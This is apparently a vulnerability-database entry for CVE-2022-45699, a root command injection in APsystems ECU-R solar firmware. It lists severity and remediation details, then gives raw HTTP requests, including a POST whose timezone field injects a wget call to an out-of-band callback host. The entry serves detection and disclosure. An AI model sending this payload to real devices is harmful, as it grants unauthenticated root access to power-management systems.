| Title | APsystems ECU-R Firmware - Command Injection |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary commands with root privileges through the timezone parameter in the administration interface, potentially compromising the entire solar power management system and connected infrastructure. |
| Remediation | Upgrade APsystems ECU-R firmware to a patched version that properly sanitizes the timezone parameter and validates input to prevent command injection. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90791 |
| CVE ID | CVE-2022-45699 |
| CWE ID | CWE-78,CWE-94 |
| Tags | cve cve2022 rce apsystems vkev vuln |
Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /index.php/management/set_timezone HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
timezone=;wget+d5jn0mhle0o1dk0t07m0p9armurwbya1g.oast.fun;#
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45699.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-45699.pcap
N/AN/A